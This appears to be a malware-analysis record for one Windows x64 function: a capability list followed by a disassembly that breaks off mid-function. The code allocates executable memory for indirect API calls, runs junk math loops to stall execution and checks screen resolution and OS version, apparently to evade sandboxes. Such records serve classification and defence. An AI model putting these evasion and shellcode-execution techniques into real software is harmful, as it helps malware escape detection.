Function at 0x14000b160
Capabilities:
Allocate or change rwx memory
Check os version
Delete file
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0xf150
call fcn.140022800
sub rsp, rax
movaps xmmword [rsp + 0xf140], xmm6
movaps xmmword [rsp + 0xf130], xmm7
movaps xmmword [rsp + 0xf120], xmm8
movaps xmmword [rsp + 0xf110], xmm9
movaps xmmword [rsp + 0xf100], xmm10
movaps xmmword [rsp + 0xf0f0], xmm11
movaps xmmword [rsp + 0xf0e0], xmm12
movaps xmmword [rsp + 0xf0d0], xmm13
movaps xmmword [rsp + 0xf0c0], xmm14
movaps xmmword [rsp + 0xf0b0], xmm15
mov rax, qword [0x14002c010]
xor rax, rsp
mov qword [rsp + 0xf0a0], rax
mov r15, rdx
xor esi, esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x11b0], xmm0
lea rdx, [rsp + 0xf178]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x11b8], rcx
mov qword [rsp + 0x11c0], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0x11b0], rax
mov qword [rdx], rsi
mov dword [rsp + 0x140], 0xfa0
xor eax, eax
movups xmmword [rsp + 0x1258], xmm0
mov qword [rsp + 0x1268], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1258]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002e440]
lea rbx, [0x140017c50]
lea r13, [0x140000000]
test rax, rax
je 0x14000b2a9
mov edx, esi
nop
cmp rax, rbx
je 0x14000b298
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2e440]
test rax, rax
jne 0x14000b280
jmp 0x14000b2a9
mov r8, qword [r13 + rdx*8 + 0x2f750]
test r8, r8
jne 0x14000b38f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000b2d0
mov r8, rsi
jmp 0x14000b36e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000b2e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002ea90]
mov qword [r13 + rax*8 + 0x2e440], rbx
mov qword [r13 + rax*8 + 0x2f750], r8
inc rax
mov qword [0x14002ea90], rax
lea rdx, [rsp + 0x140]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x1258]
xor rcx, qword [rsp + 0x1260]
mov qword [rsp + 0x1258], rcx
mov rax, qword [rsp + 0x1268]
mov qword [rax], rcx
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1854]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x1850], 0x114
lea rcx, [rsp + 0x1850]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x2cf4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0x1970]
call fcn.140017140
mov dword [rsp + 0xed0], 0xffffff9c
mov dword [rsp + 0xed4], 0x64
movaps xmm0, xmmword [0x140025440]
movups xmmword [rsp + 0x10d0], xmm0
mov dword [rsp + 0x30], esi
xorps xmm11, xmm11
movsd qword [rsp + 0x38], xmm11
lea rcx, [rsp + 0x1378]
call fcn.140001ae0
mov qword [rsp + 0x450], 0x64
mov rax, qword [rsp + 0x1378]
mov qword [rsp + 0x458], rax
lea r8, [rsp + 0x450]
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x908]
call fcn.140017530
mov rdi, qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xf68], xmm0
mov qword [rsp + 0xf78], rax
lea rcx, [rsp + 0xf68]
call fcn.140016030
nop
lea rcx, [rsp + 0x460]
call fcn.140017550
nop
mov rdx, rax
lea rcx, [rsp + 0x218]
call fcn.140017580
nop
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0xf68]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x218]
call fcn.140016050
nop
lea rcx, [rsp + 0x460]
call fcn.140016050
lea rcx, [rsp + 0x468]
call fcn.1400175a0
nop
mov rdx, rax
lea rcx, [rsp + 0x220]
call fcn.140017580
nop
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xf68]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x220]
call fcn.140016050
nop
lea rcx, [rsp + 0x468]
call fcn.140016050
lea rcx, [rsp + 0x470]
call fcn.1400175d0
nop
mov rdx, rax
lea rcx, [rsp + 0x228]
call fcn.140017580
nop
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0xf68]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x228]
call fcn.140016050
nop
lea rcx, [rsp + 0x470]
call fcn.140016050
lea rcx, [rsp + 0x478]
call fcn.140017600
nop
mov rdx, rax
lea rcx, [rsp + 0x230]
call fcn.140017580
nop
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xf68]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x230]
call fcn.140016050
nop
lea rcx, [rsp + 0x478]
call fcn.140016050
lea rcx, [rsp + 0x480]
call fcn.140017630
nop
mov rdx, rax
lea rcx, [rsp + 0x238]
call fcn.140017580
nop
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0xf68]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x238]
call fcn.140016050
nop
lea rcx, [rsp + 0x480]
call fcn.140016050
lea rcx, [rsp + 0x488]
call fcn.140017660
nop
mov rdx, rax
lea rcx, [rsp + 0x240]
call fcn.140017580
nop
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0xf68]
call fcn.1400181f0
nop
lea rcx, [rsp + 0x240]
call fcn.140016050
nop
lea rcx, [rsp + 0x488]
call fcn.140016050
lea rcx, [rsp + 0x490]
call fcn.140001ae0
mov qword [rsp + 0xe8], rdi
mov rax, qword [rax]
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xf0]
call fcn.140002910
movsd xmm15, qword [0x140025450]
movsd xmm14, qword [0x1400253a0]
movsd xmm10, qword [0x1400253a8]
test al, al
jns 0x14000bba4
mov r12d, 1
nop word [rax + rax]
mov r14d, 0x186a0
nop word [rax + rax]
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov rcx, qword [rsp + 0xf70]
mov rsi, qword [rsp + 0xf68]
sub rcx, rsi
sar rcx, 3
cdqe
xor edx, edx
div rcx
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rbx, qword [rax + 8]
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rsi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x10d0]
call fcn.140017690
movaps xmm9, xmm0
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x10d0]
call fcn.140017690
movaps xmm6, xmm0
movaps xmm7, xmm0
andps xmm7, xmm15
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm8, xmm0
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm8, xmm0
addsd xmm7, xmm14
movaps xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm8, xmm0
movaps xmm0, xmm9
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm8, xmm0
movsd xmm1, qword [rsp + 0x38]
addsd xmm8, xmm1
movsd qword [rsp + 0x38], xmm8
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x10d0]
call fcn.140017690
movaps xmm1, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x10d0]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1610]
call fcn.1400167d0
nop
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x1610]
call fcn.140002750
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1120], xmm0
mov qword [rsp + 0x1130], rax
lea rcx, [rsp + 0x1120]
call fcn.140016030
mov edx, 0x64
lea rcx, [rsp + 0x1120]
call fcn.140018230
nop
lea rdx, [rsp + 0x910]
lea rcx, [rsp + 0x1120]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x918]
lea rcx, [rsp + 0x1120]
call fcn.1400161d0
lea rcx, [rsp + 0xed0]
mov qword [rsp + 0x680], rcx
lea rcx, [rsp + 0x1970]
mov qword [rsp + 0x688], rcx
lea r8, [rsp + 0x680]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017720
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x1120]
call fcn.140002860
lea rdx, [rsp + 0x920]
lea rcx, [rsp + 0x1120]
call fcn.1400161c0
mov rbx, qword [rax]
lea rdx, [rsp + 0x928]
lea rcx, [rsp + 0x1120]
call fcn.1400161d0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140017780
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov ebx, eax
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov r8d, eax
mov ecx, ebx
test ebx, ebx
cmove ecx, r12d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000001
jge 0x14000ba2d
dec eax
or eax, 0xfffffffe
inc eax
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
test eax, eax
jne 0x14000ba62
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000ba71
call fcn.140019160
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov esi, 5
xor ebx, ebx
nop dword [rax + rax]
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x1970]
lea rcx, [rsp + 0x10d0]
call fcn.140017690
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rsp + 0x1970]
test bl, 1
jne 0x14000bb0b
mov r9d, dword [rsp + 0xed4]
mov r8d, dword [rsp + 0xed0]
lea rcx, [rsp + 0xed0]
call fcn.140019160
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000bb2d
movsd xmm6, qword [rsp + 0x38]
lea rcx, [rsp + 0x10d0]
call fcn.140017690
addsd xmm0, xmm14
divsd xmm6, xmm0
movsd qword [rsp + 0x38], xmm6
inc ebx
cmp ebx, 5
jl 0x14000ba80
sub rsi, 1
jne 0x14000ba76
lea rcx, [rsp + 0x1120]
call fcn.1400161e0
nop
lea rcx, [rsp + 0x1610]
call fcn.140016730
sub r14, 1
jne 0x14000b710
lea rcx, [rsp + 0x490]
call fcn.140001ae0
mov qword [rsp + 0xe8], rdi
mov rax, qword [rax]
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0xf0]
call fcn.140002910
test al, al
js 0x14000b700
mov eax, dword [rsp + 0x30]
lea rcx, [rsp + 0xf68]
call fcn.1400160c0
mov rbx, qword [r15]
movzx edx, byte [rsp + 0xec8]
lea rcx, [rsp + 0x1420]
call fcn.140018620
nop
mov r12, 0xffffffffffffffff
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14000bbe0
mov rdx, rbx
lea rcx, [rsp + 0x1420]
call fcn.140018640
nop
mov dword [rsp + 0x144], esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1240], xmm0
mov qword [rsp + 0x1250], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1240]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002edc0]
lea rbx, [0x140017c50]
test rax, rax
je 0x14000bc6e
mov rdx, rsi
cmp rax, rbx
je 0x14000bc5d
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2edc0]
test rax, rax
jne 0x14000bc45
jmp 0x14000bc6e
mov r8, qword [r13 + rdx*8 + 0x2d7b0]
test r8, r8
jne 0x14000bd61
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov edi, 3
test rax, rax
jne 0x14000bc9a
mov r8, rsi
jmp 0x14000bd3e
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000bcb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d470]
mov qword [r13 + rax*8 + 0x2edc0], rbx
mov qword [r13 + rax*8 + 0x2d7b0], r8
inc rax
mov qword [0x14002d470], rax
jmp 0x14000bd66
mov edi, 3
lea rdx, [rsp + 0x144]
mov rcx, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r8
nop
mov rdx, qword [rsp + 0x1240]
xor rdx, qword [rsp + 0x1248]
mov qword [rsp + 0x1240], rdx
mov rcx, qword [rsp + 0x1250]
mov qword [rcx], rdx
mov r15d, 1
cmp eax, 0x400
jne 0x14000bf40
mov dword [rsp + 0x148], r15d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1318], xmm0
mov qword [rsp + 0x1328], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1318]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002edc0]
test rax, rax
je 0x14000be1a
mov rdx, rsi
cmp rax, rbx
je 0x14000be09
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2edc0]
test rax, rax
jne 0x14000bdf1
jmp 0x14000be1a
mov r8, qword [r13 + rdx*8 + 0x2d7b0]
test r8, r8
jne 0x14000beff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000be41
mov r8, rsi
jmp 0x14000bede
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000be50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d470]
mov qword [r13 + rax*8 + 0x2edc0], rbx
mov qword [r13 + rax*8 + 0x2d7b0], r8
inc rax
mov qword [0x14002d470], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r8
nop
mov rdx, qword [rsp + 0x1318]
xor rdx, qword [rsp + 0x1320]
mov qword [rsp + 0x1318], rdx
mov rcx, qword [rsp + 0x1328]
mov qword [rcx], rdx
cmp eax, 0x300
je 0x14000c5a0
cmp dword [rsp + 0x1854], 6
ja 0x14000bf5e
jne 0x14000c5a0
cmp dword [rsp + 0x1858], 2
jb 0x14000c5a0
mov dword [rsp + 0x14c], esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1300], xmm0
mov qword [rsp + 0x1310], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1300]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002edc0]
test rax, rax
je 0x14000bfca
mov rdx, rsi
cmp rax, rbx
je 0x14000bfb9
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2edc0]
test rax, rax
jne 0x14000bfa1
jmp 0x14000bfca
mov r8, qword [r13 + rdx*8 + 0x2d7b0]
test r8, r8
jne 0x14000c0af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000bff1
mov r8, rsi
jmp 0x14000c08e
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c000
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d470]
mov qword [r13 + rax*8 + 0x2edc0], rbx
mov qword [r13 + rax*8 + 0x2d7b0], r8
inc rax
mov qword [0x14002d470], rax
lea rdx, [rsp + 0x14c]
mov rcx, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r8
nop
mov rdx, qword [rsp + 0x1300]
xor rdx, qword [rsp + 0x1308]
mov qword [rsp + 0x1300], rdx
mov rcx, qword [rsp + 0x1310]
mov qword [rcx], rdx
cmp eax, 0x500
jne 0x14000c280
mov dword [rsp + 0x150], r15d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x12d0], xmm0
mov qword [rsp + 0x12e0], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x12d0]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002edc0]
test rax, rax
je 0x14000c15d
mov rdx, rsi
cmp rax, rbx
je 0x14000c14c
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2edc0]
test rax, rax
jne 0x14000c134
jmp 0x14000c15d
mov r8, qword [r13 + rdx*8 + 0x2d7b0]
test r8, r8
jne 0x14000c23f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c184
mov r8, rsi
jmp 0x14000c21e
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c190
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d470]
mov qword [r13 + rax*8 + 0x2edc0], rbx
mov qword [r13 + rax*8 + 0x2d7b0], r8
inc rax
mov qword [0x14002d470], rax
lea rdx, [rsp + 0x150]
mov rcx, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r8
nop
mov rdx, qword [rsp + 0x12d0]
xor rdx, qword [rsp + 0x12d8]
mov qword [rsp + 0x12d0], rdx
mov rcx, qword [rsp + 0x12e0]
mov qword [rcx], rdx
cmp eax, 0x400
je 0x14000c5a0
mov dword [rsp + 0x154], esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x12e8], xmm0
mov qword [rsp + 0x12f8], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x12e8]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002edc0]
test rax, rax
je 0x14000c2ec
mov rdx, rsi
cmp rax, rbx
je 0x14000c2db
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2edc0]
test rax, rax
jne 0x14000c2c3
jmp 0x14000c2ec
mov r8, qword [r13 + rdx*8 + 0x2d7b0]
test r8, r8
jne 0x14000c3cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c313
mov r8, rsi
jmp 0x14000c3ae
mov rax, rbx
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c320
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002d470]
mov qword [r13 + rax*8 + 0x2edc0], rbx
mov qword [r13 + rax*8 + 0x2d7b0], r8
inc rax
mov qword [0x14002d470], rax
lea rdx, [rsp + 0x154]
mov rcx, qword [sym.imp.USER32.dll_GetSystemMetrics]
call r8
nop
mov rdx, qword [rsp + 0x12e8]
xor rdx, qword [rsp + 0x12f0]
mov qword [rsp + 0x12e8], rdx
mov rcx, qword [rsp + 0x12f8]
mov qword [rcx], rdx
cmp eax, 0x320
jne 0x14000cd62
mov dword [rsp + 0x158], r15d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1330], xmm0
mov qword [rsp + 0x1340], rax
lea rdx, [rsp + 0xf178]
lea rcx, [rsp + 0x1330]
call fcn.1400029a0
nop
mov ecx, esi
mov rax, qword [0x14002edc0]
test rax, rax
je 0x14000c47d
mov rdx, rsi
cmp rax, rbx
je 0x14000c46c
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x2edc0]
